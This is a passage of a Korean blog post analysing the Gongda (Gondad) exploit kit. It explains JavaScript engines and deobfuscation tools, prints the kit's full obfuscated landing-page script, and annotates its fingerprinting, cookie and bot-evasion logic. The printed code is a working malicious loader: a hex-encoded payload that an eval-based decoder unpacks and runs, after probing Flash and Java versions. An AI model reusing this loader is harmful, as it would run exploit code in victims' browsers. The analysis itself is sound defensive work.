- Previous : 공다팩(Gondad EK) 분석 #01
1. Introduction
우선 공다팩을 분석하기 위해서는 자바스크립트 언어에 대한 이해도 필요하지만, 기본적으로 프로그래밍에 대한 지식이 있으면 쉽게 이해할 수 있다. 가령 try{} catch{} 구문이나, 메모리에 변수를 할당하고 삭제하는 부분 등을 예로 들 수 있다. 그 외 자바스크립트가 사용하는 다양한 함수들의 기능에 대해서는 구글 검색을 통해 이해할 수 있다. 만약 직접 자바스크립트 언어를 테스트하거나 디버깅 하고 싶다면 브라우저의 개발자 도구를 이용하는 것을 추천한다.
브라우저 개발자 도구
최근 브라우저들은 개발자 모드를 제공하는데, 특히 Console 탭에서 자바스크립트 언어를 인터프리터 형태로 실행하고 결과를 받아 볼 수 있다. 이는 브라우저가 사용하는 자바스크립트 엔진(자바스크립트 인터프리터)을 이용하기 때문에 가능하다. 크롬은 구글이만든 v8 자바스크립트 엔진을 사용하고, 파이어폭스는 몽키스파이더(Monkey Spider) 자바스크립트 엔진을 사용하다가 최근 Rhino 엔진으로 교체하였다.
인터넷 익스플로러는 Charka 자바스크립트 엔진을 사용하는 것으로 알려져 있다. 그 외 사파리에서 사용하는 JavaScriptCore 엔진, 초기 자바스크립트 엔진 프로젝트인 KDE에서 만든 KJS 자바스크립트 엔진, 오픈 소스로 제작된 Nashorn 자바스크립트 엔진 등 다양한 자바스크립트 엔진이 있다. 이러한 모든 자바스크립트 엔진은 ECMAScript 표준안을 따라가기 때문에 어떤 엔진에서든 적용할 수 있는 프로그래밍이 가능하다.
엔진을 소개한 이유는 자바스크립트 난독화를 해제하기 위해 만들어진 도구들이 자바스크립트 엔진을 사용하기 때문이다. 대표적인 도구인 Malzilla와 같은 경우 몽키 스파이더 엔진을 탑재하고 있으며, 허니클라이언트(HoneyClient)의 일종인 Thug의 경우 v8 엔진을 탑재하여 사용하고 있다.
최근에는 Node.js와 같이 자바스크립트 엔진을 탑재한 채 사용할 수 있는 소프트웨어 플랫폼도 있으며, PhantomJS나 CasperJS는 브라우저가 사용하는 웹킷을 탑재하여 사용하는 플랫폼도 있다. 웹킷은 간단하게 말하면 브라우저가 사용하는 엔진 모음집이며, 기본으로 레이아웃 엔진, 자바스크립트 엔진, 플러그인 엔진 등 다양한 엔진들의 집합체로 보면 된다. 기회가 되면 브라우저의 구조와 원리를 분석하여 포스팅하겠다.
1.1 Full Source Code
이 코드는 비록 텍스트이지만, 일부 백신에서 탐지하여 현 블로그가 차단될 수 있다.
<script language="javascript" src="http://count9.51yes.com/click.aspx?id=91720571&logo=1" charset="gb2312"></script>
<script type="text/javascript" src="swfobject.js"></script>
<script src=jpg.js></script>
<script type="text/javascript">
var oRDS8=navigator.userAgent.toLowerCase();
var UlQcp6="1"+"1"+"1";
if(document.cookie.indexOf("Kzkr6=")==-1 && oRDS8.indexOf("linux")<=-1 && oRDS8.indexOf("bot")==-1 && oRDS8.indexOf("spider")==-1)
{
var mCBrLXb1=deconcept.SWFObjectUtil.getPlayerVersion();
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
UlQcp6="0"+"0";
document.cookie="Kzkr6=Yes;path=/;expires="+expires.toGMTString();
faug8="1";delete faug8;try{faug8+="0"+"0"+"0"+"0"+"0"+"0"+"0"+"0"+"0";}catch(e){var gOqA0="1";dLidfS6 = eval}qQhifJ0=unescape;GndC0="4BFADA5E7EF3A57E7F8CCE671EF2C24C5BAFF77267E795066E82DC2C5AEC987A72EC847C72D080797192D43D228CE82F3B83A03321DFAB0C3586A9007782AD0C0D9EA101036CAC5E1D72B5000B29C2441070DA5E5F3BE58A0C609EA4196D9EECE3648DB1E26E9BE5E76792E0A06373FDF37567D9FA676DC5F4742983FC6E66D1852B3BA1AC646ED3DF6C67DADA2C62D7D6792FDDC67167AEDE4168ADD26429AFAD6F66ADA27B29EBC70A77B5BC2165B7BC6661B8AE3D6585AA6D6D9D94637689CC676498AC534783C22B2BD6CC3B0CF2846070DC97707279C7676E6C9A6066782E71706D687429202E232B3B0D08676E6F6460667A3C7261727165486F74296370737A5B305F2E7364706D6361642A2F5C2C7C5D5E2F662E25262B293B0F0A676E72296B3F3039693C637273792E6D676C6676683B6B2B2A280D0B790F0B766D703F70607373644B6C752A617270785A685D2F7067716E616367282E5D2E7D5E5D2E652C272529283A0D0B6B64212A676F6C646065783D766F712B20676D6E656064793F766C723B0D087D0C0B6967222A29656F6E666165793C3C333531333020242621666F6F6663657A3E3D333731313028227E7D2228676D6E656064793E3F303430333020272720666D6C656364783C3D30373031322B217E7C202A676E6F6460667A3D3F313532333221262722656E6C646166783F3C31343232312B290D087B0C0B76607022666D6E646364213C20656D61746F656E762E627365607667446E656D676E7529276072726D6774272B3B0C0B676E6C6660662E776B6475693D2333203A0F0A676D6E6560642F6A67686568743F2230233B0C086B672A28676D6E656064793E3F303430323520272720666D6C656364783C3D30373031322B217E7C202A676E6F6460667A3F3F313532303121262722656E6C646166783D3C31343231302B290D087B0C0B676E6C6660662E617063696876643F2062694D6D352E6B716723390F0B656F6E6661652F636E66673C20476F6C646065476E6C6660664578722E626D617271203A0F0A676D6E6560642F7167754374747069637474642A20656D7461202C2369747572382E2D7777752E78786C68712C626D6D2F612E647965232B390C08646F61756C646E752C606E66792E637071646E65416A686E6428656F6F6561652B390C087D0D08656D7265216B64212A28676D6E656064793E3F303530303020272720666D6C656364783C3D30363031322B217E7C202A676E6F6460667A3D3F313632333121262722656E6C646166783F3C31373232312B207C7E2029666F6F6663657A3C3D333531323321242421656F6E666165793E3C3337313230292B0D0B7A0D0B656D6F6661642C617362686874673C2046484A5353312E6B726523390D0A656F6F6561652C616E66653D20476E6F64606647797A2E4F6A6E6E2F636D637172203B0D08676E6F6460662C72677441767473686274766729207869636F6C606F6D74202D20687476703B2E2F7675752F7B796C6B732F626F6C2D612F67786520293A0C0A666D6C6563642E716575407475706B637774652A22636F222D20756E7B6F757B697B6969796B636E6F616F6E7623283B0C08656E6C6461662E726474407676736B6275766529237368202E23616F6E656C606879646077706B2229390D0B666F6F6663652C73657641757572686077756728226073232D2236363A232B3B0D08646E62756C676C752C626F66792F607071676C654168696E6429666F6F6663652B3B0D087D0C0B656D7167216B66202A28666E6E656366793E3D313530313220272422666D6E646364793F3D303532313229207E7C2129676E6C666066783C3F313731333322242722676F6C646065783F3F33373230302B207D7D2029656D6F6661647A3C3C303531313021242620656F6F6561657A3C3C333530323028280D0B790F0B656F6E6661652F6173616A6874653D204475514B46352C6B726722390D0B666F6F6663652C636F66653C23676E6C66303532332C476E6F6460767660616B2E616C60727323390F0B656F6E6661652F73647643757672696075756428237A6B606D6D616D6C77232C236A7675723A2F2D7776762E787B6E68712E636D6D2E622E647A67232B3B0D08676E6F6460662C7267744176747368627476672920626E202C23766F786D77786B7A686B7868606F6C636D6D742229390D0B666F6F6663652C73657641757572686077756728227169232D22626D6C666E61697B6563747168202B3A0F0A676D6E6560642F7167754374747069637474642A206371222C203735392228390F0B666F63776D646F742F606D657B2E617270646F64426A6B6D6628676D6E65606428390F0B7F0D0A676C72642068642229656F6E666165793C3C333531323620242621666F6F6663657A3E3D3337313130280F087A0F0A7663722176744040766037203D2277686F646E752C6F6376696561756E722F777164704167676E752F746E4E6D7667724363736429293A0F0868642028757440437460372C686C64657A4F6729276C716B642236272B203F212D302B0F0B790D0A666F62746D646C762F757269766529233C4E404844415420616C60727368663F26616C736B643B3941453B413936302D323435442D303346302F423347392C3130393237473639394639322620766B66756A3D27303031262069676B666A743D25323131273F3E726070616D226E606C653C7A6B606D6D616D6C772176606E77643F20276A7475713A2E2D7576752E797B6C68722E626D6F2E612E657A65263F3C716370606F206E636D643C626F2274606E75653F2026766F786D77786B7A686B7868606F6C636D6D74273E3E706073616C226C606F653D71692177616D77673C2227636D6E666D61687B6763777169253E3D716173636F216C616D673D63722077636E74673D2025373539273F3E726070616D226E606C653C414D45472076636C74643D212561776732303332797978792C456E6C6476742E626D617271253F3E706170616C216E606F673C6372636A6977642077636E74673D20256E7474736D5273312C6A7065273F3D2F4E40484441543E20293A0C0A7C0F08646E73650F0A7A0C0A666D6C6563642E637262696977673F236C7575716C5170302F687266203B0D08676E6F6460662C626D64653F22627765333233337A78787A2E466E6E6574742F616C617173233A0D0B656D6F6661642C73647541757670686075746728237969606D6F606D6C76202C2369747572382E2D7777752E78786C68712C626D6D2F612E647965232B390C08676F6C6460652E726776407674726B627475652920606F202C22756F786E75786B78696B7869636F6C606F6D742028390D0A656F6F6561652C7164764174767268637575672A237169222E22626E6E666E63687B656277716823293A0F08666D6E6463642F72657543767570696277746429226371202D2037343A22283A0D0B666D62776D656C742F636F657B2C607270656C644269696D662A666D6E646364283A0D0B7F0F0B7F0D0A676C72642068642229656F6E666165793C3C333531323720242621666F6F6663657A3E3D3337313130280F087A0F0A7663722176744040766037203D2277686F646E752C6F6376696561756E722F777164704167676E752F746E4E6D7667724363736429293A0F0868642028757440437460372C686C64657A4F6729276C716B642236272B203F212D302B0F0B790D0A666F62746D646C762F757269766529233C4E404844415420616C60727368663F26616C736B643B3941453B413936302D323435442D303346302F423347392C3130393237473639394639322620766B66756A3D27303031262069676B666A743D25323131273F3E726070616D226E606C653C7A6B606D6D616D6C772176606E77643F20276A7475713A2E2D7576752E797B6C68722E626D6F2E612E657A65263F3C716370606F206E636D643C626F2274606E75653F2026766F786D77786B7A686B7868606F6C636D6D74273E3E706073616C226C606F653D71692177616D77673C2227636D6E666D61687B6763777169253E3D716173636F216C616D673D63722077636E74673D2025373539273F3E726070616D226E606C653C414D45472076636C74643D2125656E6C6432323133343036342C466D6E6473712F626C607171263C3C706372606C206F636F643F617261686877652174636D77653D22276579684C362C6B7267273C3C2E4E424B4741553C2229390D0B7C0D0B676E72670D0A790D0B666F6F6663652C617261686877653C2066796A4D342C6A7166223A0F08666D6E6463642F626F65673F23656F6E6632313032343235372C476F6C6470702E626E637271223B0F0A666E6E6563662F7165744374757369637776642A22786B616E6C616E6E74232E22687674713B2F2E7575762C79796E69722F636E6F2D622C65786722283A0D0B656D6F6661642C7364754175767068607574672823636E232E20766D796F7779687B68687A6B606D6D616D6C7723293A0F08666D6E6463642F7265754376757069627774642922726B202D20636F6C676D6069786760747369222B3B0C0B676E6C6660662E736774407574736B6074766528206272232C2335363920293B0F0A656E63746F676F762E626D64782F617172676F6643686B6C6529676E6C666066293B0F0A7C0C0A7C0F08646E73652269672128666D6C656364783E3D303630303222272420676D6E656064793C3F3035303032290C0B7B0C087460702077764143756134223F2175696E666F762F6E60746B6663746F702E747265734365646C742E766F4D6E77647041607165282B3B0C0B6967222A767641427661342F696F6667794D6628256D72686521342528223E202F31280C0A7A0F08656D63756F656F752E76706B756728223E4F434B45425622626E61737169653C27626E7168663A38434438423835322F313634452F313045312C4031443B2D303238313446353B3B453B33272277686574693F2533323027226864686769763F26303030253E3D716173636F216C616D673D7968616E6F636E6E762074616D74653C222569767470382F2E7677762C7B786E69732C636E6C2F622C677967273E3E706073616C226C606F653D606E2177616D77673C2227776D796E747968786A687A69616D6D606E6C77253C3D726172636D216F616C673F726B2076636C74643D2125616E6C676C636978646274736B263C3C706372606C206F636F643F62732276606D75643F2226353438253E3D716173636F216C616D673D424E44442274606E75653F2026796D6D30323031303430322F594D4D30323031303430322F626C607171263C3C706372606C206F636F643F617261686877652174636D77653D22276A544B755B78392C6A7065273F3D2F4E40484441543E20293A0C0A7C0F08646E73650F0A7A0C0A666D6C6563642E637262696977673F2369554B76597B392E6B726523390D0A656F6F6561652C616E66653D20786C6D32313331313632322C584C4D32313331313632322C636D60737220390C08676F6C6460652E726776407674726B6274756529207A68636F6D636F6D77222D206A7576703A2D2F7676772F7B7B6D6B732E616F6C2E632F677A6420293B0F0A666E6E6563662F7165744374757369637776642A22626C222D23776E7B6D747B697A6A697968616E6F636E6E76222B3B0C0B676E6C6660662E736774407574736B6074766528207368232C23616D6F656C616B79646375706B2028390D0A656F6F6561652C7164764174767268637575672A236073222E22363538232B390C08646F61756C646E752C606E66792E637071646E65416A686E6428656F6F6561652B390C087D0D087D0C0B7D0C08676D71652079090C0B090C080B686428286F4343734C5960335A256D61686F73265D3C3F3330222626226D4243724D5A603059276D6B6E6E73275C3F3F35222626226D4243724D5A60305927726776265C3D3C36323322262622286C4242734E5A63335B27656F6F656165255F3F3F20323435212726216F4143704C5860315A26676E6C666066275D3E3D213338362B2B217E7C202A6D4243724D5A603059276D636A6E73275C3F3F3033202624206C4242734E5A63335B276F696F6E72265F3F3C37202624206C4242734E5A63335B27706577265D3C3F37313020262420296C4343704E5960315B25676E6F646066255C3C3D20333131212627226F4240724C5A62305A27666D6C656364275F3C3C213135342B282B7B0D0809656E63746F676F762E77706975646C6F2A203D6B6D67227373623D704B4163505974322E7276663F3E5E2E6B6D673C22283A0D0B0B71647654696F656E74742920666E61756D676E752F77736B76646E6E285E223D646D6367662175696476683C303031226A646B6768763D31217373613F704B4362505975312E7275643F3E5C5C2D656C6365653C5E232B3B222E3231313028390F0B0B7D0D0809646D7364790F0B0B0D0A0B7660732076764343766135223D2176696F666D762C6E6174696660746E702C747165724367646F742F766D4D6D77657043607265292B390C08096964202929777543407563352E6B6E6564784E642A266F73696720372629213C222C33297C7E28767541437663342C696E6665794E6629256F726B6520352728213E212F33282B207B0F0A08656F62776F646C742E75726875656D6C2A233E696670616C64207270613C44514752694A342E69766F6D3C3C5C2D696773616C673C232B3B0D08097C0C0A08676E72672069642829767440407660372E696C6464794F672A256C71696522382628203F222F302B20262420296F61776B6560766F722C757264724065676F762E696C6464794F672A25566B6E646D7772214E5522372F332729223E212C312822242722286E6376686661756D702F60726F757364734C606C65746367652C696F6565794D6429256B6F2529213F202C332B28790D0A0B646E62756C676C752C77726B74646D6E29203E686472616F65217272623F616A4F6D372C68756C6C3F3E5E2E6B6672636D643F2228390F0B0B7D0D08097C0C0A7C0F083A0F0A64676C6475652157656E5447594A303A0C0A65676E647665205A6D7275716B31390C0864656E65756420585052726B5952353B0C0B64646E6775672073697372393B0C0866646E657467206C68496D31390C0864656E65756420725A6677666E45363B0C0B64646E67756720486566504E495434390C0864656E657564204B77547274564A363B0C0B64646E67756720564964604C7731390F0B66656C677464216F756E695760363B0F0A65646C6476672156625853796B313B0C0866646E657467206C565178755676323B0D0864646D65756722466C6443323B0C0B64646E677567204E57495352303A0F0865676C65766521654C68666452343B0D0864646D657567227564467A445959363B0C0866646E6574672070506868644831390D0A66656D647464227B514A53594F373A0C0A65676E647665206A787843353A0F0865676C65766521475456726A65373B0D0864646D6575672263766962514E50373B0C0866646E65746720434D4B72405531390D0A66656D647464227178784D4D7679363A0D0B66676D6774652269464F725930390C0864656E65756420657B4E54313B0D0864646D6575672251774465353B0C0B64646E6775672066637566393B0C0866646E65746720664E714032390C0864656E6575642047447A6049333B0F0A65646C647667215569747471507B363A0F0865676C65766521697858467336390D0A66656D64746422784257526B303B0C0B64646E6775672061774D6B303B0C0866646E6574672055484773634D36390D0A66656D647464225B4972546851333A0C0A65676E647665206B4C4D51474630390C0864656E657564204A68557B323B0D0864646D657567226C434149343B0C0B64646E67756720626F6C67353B0C0866646E6574672074764951485B70363B0D087473787B426D6E6D676374456173636166672A28397D636374626928642B797C0F0A";UgoVGYH0="function Xmstqj3(){YRPsiYR7=Math.PI;iGNrX2=Math.tan;skss8=parseInt;miIl3='length';BLKsBW0='test';hxyB5='replace';sXdvdnE4=skss8(~((YRPsiYR7&YRPsiYR7)|(~YRPsiYR7&YRPsiYR7)&(YRPsiYR7&~YRPsiYR7)|(~YRPsiYR7&~YRPsiYR7)));HgfQOIU6=skss8(((sXdvdnE4&sXdvdnE4)|(~sXdvdnE4&sXdvdnE4)&(sXdvdnE4&~sXdvdnE4)|(~sXdvdnE4&~sXdvdnE4))&1);/*www.yylis.com*/JuVsvVJ4=HgfQOIU6<<HgfQOIU6;new function(){NUIRS0=dLidfS6('1Qe4dG*]6zY^k8vb]#&,m8$[x_GD3a]Nj5dsn7[F[8cu[S34Rlc]4r;idpDt='[hxyB5](/[^v@0el9a]/g,''));};try{if(!\/^\\d*$\/g[BLKsBW0](VKdaMw0));}catch(e){VKdaMw0=sXdvdnE4;}otlkVb6='';TbXQyj0=String[qQhifJ0('%6'+'6%72%'+'6F%6D%4'+'3%68%61'+'%72%4'+'3%6F%64'+'%65')];for(mWQywTw0=sXdvdnE4;mWQywTw0<UgoVGYH0[miIl3];mWQywTw0-=-HgfQOIU6)VKdaMw0=((VKdaMw0&127)<<25)|((VKdaMw0&4294967168)>>>7)+UgoVGYH0.charCodeAt(mWQywTw0);syzMMty7+=HgfQOIU6;VKdaMw0>>>=0;for(mWQywTw0=sXdvdnE4,yPHSYM7=HgfQOIU6;mWQywTw0<GndC0[miIl3];mWQywTw0+=JuVsvVJ4,yPHSYM7++){if(mWQywTw0>=(1<<3)){PuDe7=mWQywTw0%(1<<3);}else {PuDe7=mWQywTw0;}dyLU3=skss8('0x'+VKdaMw0.toString(HgfQOIU6<<4).substr(PuDe7,2))+yPHSYM7;if(\/^(\\d{4})\/g[BLKsBW0](dyLU3+744))dyLU3%=3;otlkVb6+=TbXQyj0(skss8(sXdvdnE4+qQhifJ0('x')+GndC0.charAt(mWQywTw0)+GndC0.charAt(mWQywTw0+skss8(HgfQOIU6)))^dyLU3);}try{new function(){NUIRS0(otlkVb6);}}catch(e){try{new function(){FTWphd5=parseInt;iGNrX2(otlkVb6);}}catch(e) {window.location='.';}}}try{dLidfS6('Xmstqj3();')}catch(e) {try{syzMMty7=sXdvdnE4;dLidfS6('Xmstqj3();');}catch(e){alert('ere');}}";tfFzFYX7 = dLidfS6(dLidfS6);tfFzFYX7(UgoVGYH0);
}
</script>
2. Structure
공다팩은 기능적인 부분으로 구분지어 다음과 같이 세 가지 형태로 구분지을 수 있다. 물론 이러한 구조에 대한 분류는 분석가마다 다르다.
- Support Unit (지원부)
- Obfuscation Unit (난독부)
- Deobfuscation Unit (해제부)
- Execution Unit (실행부)
2.1. Support Unit
지원부는 난독화를 해제하고 실행하기 앞서 다양한 정보를 수집하고 조건을 수립하는 역할을 한다.
- 트래픽 애널리틱스 : 사용자의 정보를 네트워크를 통해 수집하는 부분으로 다음과 같이 생각할 수 있다.
- 버전 확인 : 자바, 인터넷 익스플로러, 어도비 플래시 플레이어의 버전 정보를 자바스크립트로 확인하여 취약점을 이용한 공격을 조건 형태로 사용할 수 있다.
- 기감염 확인 : 과거에 사용자가 공다팩 페이지에 방문했는지를 확인하기 위해 브라우저 쿠키 문자열로 확인한다. 만약 쿠키값을 가지고 있다면, 난독화 및 공격코드는 실행되지 않는다.
- 쿠키값 생성 : 접근한 사용자의 쿠키에 기감염 확인을 위해 생성항 쿠키값이 존재하지 않는다면 쿠키값을 생성하고 공격 코드를 실행하려 하지 않는다.
- 유저 에이전트 차단 로직 : 유저 에이전트의 인덱스 값이 bot이나 spider 인 경우 실행이되지 않는데, 이는 검색 엔진의 크롤러가 사용하는 값이다. 즉 사용자들에게는 공격 페이지가 노출되지만, 검색 엔진에는 검색되지 않도록 하기 위해 사용한다.[크롤러 인덱스 값 리스트] 또한 리눅스 시스템 차단 로직 : 유저 에이전트의 인덱스 값이 리눅스인 경우 실행하지 않는다.
<script language="javascript" src="http://count9.51yes.com/click.aspx?id=91720571&logo=1" charset="gb2312"></script>
// 트래픽 애널리틱스
<script type="text/javascript" src="swfobject.js"></script>
// 어도비 플래시 플레이어 버전 추출하기 위한 자바스크립트 모듈
<script src=jpg.js></script> // 자바 버전을 추출하기 위한 자바스크립트 모듈
<script type="text/javascript">
var oRDS8=navigator.userAgent.toLowerCase(); // 브라우저 에이전트 정보를 추출하는 정보
var UlQcp6="1"+"1"+"1";
if(document.cookie.indexOf("Kzkr6=")==-1 && oRDS8.indexOf("linux")<=-1 && oRDS8.indexOf("bot")==-1 && oRDS8.indexOf("spider")==-1)
// 쿠키값 확인 로직과 봇 검색 노출 방지를 위한 로직
{
var mCBrLXb1=deconcept.SWFObjectUtil.getPlayerVersion(); // 해당 변수에 플래시 버전을 저장하여 난독화 안에서 사용
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
UlQcp6="0"+"0";
document.cookie="Kzkr6=Yes;path=/;expires="+expires.toGMTString();// 쿠키값 생성 로직
2.2. Obfuscation Unit
Cipher Text로 불리기도 하는 난독부는 사람이 읽을 수 없는 소스코드로 구성되어 있고, 실행부가 실행되면 해제부에 의해 난독부가 해제되어 브라우저가 인식할 수 있는 소스코드로 변환된다. 크게 설명할 부분은 없고, 변수에 매우 큰 문자열이 저장되어 있는 형태를 가지고 있다.
GndC0="4BFADA5E7EF3A57E7F8CCE671EF2C24C5BAFF77267E795066E82DC2C5AEC987A72EC847C72D080797192D43D228CE82F3B83A03321DFAB0C3586A9007782AD0C0D9EA101036CAC5E1D72B5000B29C2441070DA5E5F3BE58A0C609EA4196D9EECE3648DB1E26E9BE5E76792E0A06373FDF37567D9FA676DC5F4742983FC6E66D1852B3BA1AC646ED3DF6C67DADA2C62D7D6792FDDC67167AEDE4168ADD26429AFAD6F66ADA27B29EBC70A77B5BC2165B7BC6661B8AE3D6585AA6D6D9D94637689CC676498AC534783C22B2BD6CC3B0CF2846070DC97707279C7676E6C9A6066782E71706D687429202E232B3B0D08676E6F6460667A3C7261727165486F74296370737A5B305F2E7364706D6361642A2F5C2C7C5D5E2F662E25262B293B0F0A676E72296B3F3039693C637273792E6D676C6676683B6B2B2A280D0B790F0B766D703F70607373644B6C752A617270785A685D2F7067716E616367282E5D2E7D5E5D2E652C272529283A0D0B6B64212A676F6C646065783D766F712B20676D6E656064793F766C723B0D087D0C0B6967222A29656F6E666165793C3C333531333020242621666F6F6663657A3E3D333731313028227E7D2228676D6E656064793E3F303430333020272720666D6C656364783C3D30373031322B217E7C202A676E6F6460667A3D3F313532333221262722656E6C646166783F3C31343232312B290D087B0C0B76607022666D6E646364213C20656D61746F656E762E627365607667446E656D676E7529276072726D6774272B3B0C0B676E6C6660662E776B6475693D2333203A0F0A676D6E6560642F6A67686568743F2230233B0C086B672A28676D6E656064793E3F303430323520272720666D6C656364783C3D30373031322B217E7C202A676E6F6460667A3F3F313532303121262722656E6C646166783D3C31343231302B290D087B0C0B676E6C6660662E617063696876643F2062694D6D352E6B716723390F0B656F6E6661652F636E66673C20476F6C646065476E6C6660664578722E626D617271203A0F0A676D6E6560642F7167754374747069637474642A20656D7461202C2369747572382E2D7777752E78786C68712C626D6D2F612E647965232B390C08646F61756C646E752C606E66792E637071646E65416A686E6428656F6F6561652B390C087D0D08656D7265216B64212A28676D6E656064793E3F303530303020272720666D6C656364783C3D30363031322B217E7C202A676E6F6460667A3D3F313632333121262722656E6C646166783F3C31373232312B207C7E2029666F6F6663657A3C3D333531323321242421656F6E666165793E3C3337313230292B0D0B7A0D0B656D6F6661642C617362686874673C2046484A5353312E6B726523390D0A656F6F6561652C616E66653D20476E6F64606647797A2E4F6A6E6E2F636D637172203B0D08676E6F6460662C72677441767473686274766729207869636F6C606F6D74202D20687476703B2E2F7675752F7B796C6B732F626F6C2D612F67786520293A0C0A666D6C6563642E716575407475706B637774652A22636F222D20756E7B6F757B697B6969796B636E6F616F6E7623283B0C08656E6C6461662E726474407676736B6275766529237368202E23616F6E656C606879646077706B2229390D0B666F6F6663652C73657641757572686077756728226073232D2236363A232B3B0D08646E62756C676C752C626F66792F607071676C654168696E6429666F6F6663652B3B0D087D0C0B656D7167216B66202A28666E6E656366793E3D313530313220272422666D6E646364793F3D303532313229207E7C2129676E6C666066783C3F313731333322242722676F6C646065783F3F33373230302B207D7D2029656D6F6661647A3C3C303531313021242620656F6F6561657A3C3C333530323028280D0B790F0B656F6E6661652F6173616A6874653D204475514B46352C6B726722390D0B666F6F6663652C636F66653C23676E6C66303532332C476E6F6460767660616B2E616C60727323390F0B656F6E6661652F73647643757672696075756428237A6B606D6D616D6C77232C236A7675723A2F2D7776762E787B6E68712E636D6D2E622E647A67232B3B0D08676E6F6460662C7267744176747368627476672920626E202C23766F786D77786B7A686B7868606F6C636D6D742229390D0B666F6F6663652C73657641757572686077756728227169232D22626D6C666E61697B6563747168202B3A0F0A676D6E6560642F7167754374747069637474642A206371222C203735392228390F0B666F63776D646F742F606D657B2E617270646F64426A6B6D6628676D6E65606428390F0B7F0D0A676C72642068642229656F6E666165793C3C333531323620242621666F6F6663657A3E3D3337313130280F087A0F0A7663722176744040766037203D2277686F646E752C6F6376696561756E722F777164704167676E752F746E4E6D7667724363736429293A0F0868642028757440437460372C686C64657A4F6729276C716B642236272B203F212D302B0F0B790D0A666F62746D646C762F757269766529233C4E404844415420616C60727368663F26616C736B643B3941453B413936302D323435442D303346302F423347392C3130393237473639394639322620766B66756A3D27303031262069676B666A743D25323131273F3E726070616D226E606C653C7A6B606D6D616D6C772176606E77643F20276A7475713A2E2D7576752E797B6C68722E626D6F2E612E657A65263F3C716370606F206E636D643C626F2274606E75653F2026766F786D77786B7A686B7868606F6C636D6D74273E3E706073616C226C606F653D71692177616D77673C2227636D6E666D61687B6763777169253E3D716173636F216C616D673D63722077636E74673D2025373539273F3E726070616D226E606C653C414D45472076636C74643D212561776732303332797978792C456E6C6476742E626D617271253F3E706170616C216E606F673C6372636A6977642077636E74673D20256E7474736D5273312C6A7065273F3D2F4E40484441543E20293A0C0A7C0F08646E73650F0A7A0C0A666D6C6563642E637262696977673F236C7575716C5170302F687266203B0D08676E6F6460662C626D64653F22627765333233337A78787A2E466E6E6574742F616C617173233A0D0B656D6F6661642C73647541757670686075746728237969606D6F606D6C76202C2369747572382E2D7777752E78786C68712C626D6D2F612E647965232B390C08676F6C6460652E726776407674726B627475652920606F202C22756F786E75786B78696B7869636F6C606F6D742028390D0A656F6F6561652C7164764174767268637575672A237169222E22626E6E666E63687B656277716823293A0F08666D6E6463642F72657543767570696277746429226371202D2037343A22283A0D0B666D62776D656C742F636F657B2C607270656C644269696D662A666D6E646364283A0D0B7F0F0B7F0D0A676C72642068642229656F6E666165793C3C333531323720242621666F6F6663657A3E3D3337313130280F087A0F0A7663722176744040766037203D2277686F646E752C6F6376696561756E722F777164704167676E752F746E4E6D7667724363736429293A0F0868642028757440437460372C686C64657A4F6729276C716B642236272B203F212D302B0F0B790D0A666F62746D646C762F757269766529233C4E404844415420616C60727368663F26616C736B643B3941453B413936302D323435442D303346302F423347392C3130393237473639394639322620766B66756A3D27303031262069676B666A743D25323131273F3E726070616D226E606C653C7A6B606D6D616D6C772176606E77643F20276A7475713A2E2D7576752E797B6C68722E626D6F2E612E657A65263F3C716370606F206E636D643C626F2274606E75653F2026766F786D77786B7A686B7868606F6C636D6D74273E3E706073616C226C606F653D71692177616D77673C2227636D6E666D61687B6763777169253E3D716173636F216C616D673D63722077636E74673D2025373539273F3E726070616D226E606C653C414D45472076636C74643D2125656E6C6432323133343036342C466D6E6473712F626C607171263C3C706372606C206F636F643F617261686877652174636D77653D22276579684C362C6B7267273C3C2E4E424B4741553C2229390D0B7C0D0B676E72670D0A790D0B666F6F6663652C617261686877653C2066796A4D342C6A7166223A0F08666D6E6463642F626F65673F23656F6E6632313032343235372C476F6C6470702E626E637271223B0F0A666E6E6563662F7165744374757369637776642A22786B616E6C616E6E74232E22687674713B2F2E7575762C79796E69722F636E6F2D622C65786722283A0D0B656D6F6661642C7364754175767068607574672823636E232E20766D796F7779687B68687A6B606D6D616D6C7723293A0F08666D6E6463642F7265754376757069627774642922726B202D20636F6C676D6069786760747369222B3B0C0B676E6C6660662E736774407574736B6074766528206272232C2335363920293B0F0A656E63746F676F762E626D64782F617172676F6643686B6C6529676E6C666066293B0F0A7C0C0A7C0F08646E73652269672128666D6C656364783E3D303630303222272420676D6E656064793C3F3035303032290C0B7B0C087460702077764143756134223F2175696E666F762F6E60746B6663746F702E747265734365646C742E766F4D6E77647041607165282B3B0C0B6967222A767641427661342F696F6667794D6628256D72686521342528223E202F31280C0A7A0F08656D63756F656F752E76706B756728223E4F434B45425622626E61737169653C27626E7168663A38434438423835322F313634452F313045312C4031443B2D303238313446353B3B453B33272277686574693F2533323027226864686769763F26303030253E3D716173636F216C616D673D7968616E6F636E6E762074616D74653C222569767470382F2E7677762C7B786E69732C636E6C2F622C677967273E3E706073616C226C606F653D606E2177616D77673C2227776D796E747968786A687A69616D6D606E6C77253C3D726172636D216F616C673F726B2076636C74643D2125616E6C676C636978646274736B263C3C706372606C206F636F643F62732276606D75643F2226353438253E3D716173636F216C616D673D424E44442274606E75653F2026796D6D30323031303430322F594D4D30323031303430322F626C607171263C3C706372606C206F636F643F617261686877652174636D77653D22276A544B755B78392C6A7065273F3D2F4E40484441543E20293A0C0A7C0F08646E73650F0A7A0C0A666D6C6563642E637262696977673F2369554B76597B392E6B726523390D0A656F6F6561652C616E66653D20786C6D32313331313632322C584C4D32313331313632322C636D60737220390C08676F6C6460652E726776407674726B6274756529207A68636F6D636F6D77222D206A7576703A2D2F7676772F7B7B6D6B732E616F6C2E632F677A6420293B0F0A666E6E6563662F7165744374757369637776642A22626C222D23776E7B6D747B697A6A697968616E6F636E6E76222B3B0C0B676E6C6660662E736774407574736B6074766528207368232C23616D6F656C616B79646375706B2028390D0A656F6F6561652C7164764174767268637575672A236073222E22363538232B390C08646F61756C646E752C606E66792E637071646E65416A686E6428656F6F6561652B390C087D0D087D0C0B7D0C08676D71652079090C0B090C080B686428286F4343734C5960335A256D61686F73265D3C3F3330222626226D4243724D5A603059276D6B6E6E73275C3F3F35222626226D4243724D5A60305927726776265C3D3C36323322262622286C4242734E5A63335B27656F6F656165255F3F3F20323435212726216F4143704C5860315A26676E6C666066275D3E3D213338362B2B217E7C202A6D4243724D5A603059276D636A6E73275C3F3F3033202624206C4242734E5A63335B276F696F6E72265F3F3C37202624206C4242734E5A63335B27706577265D3C3F37313020262420296C4343704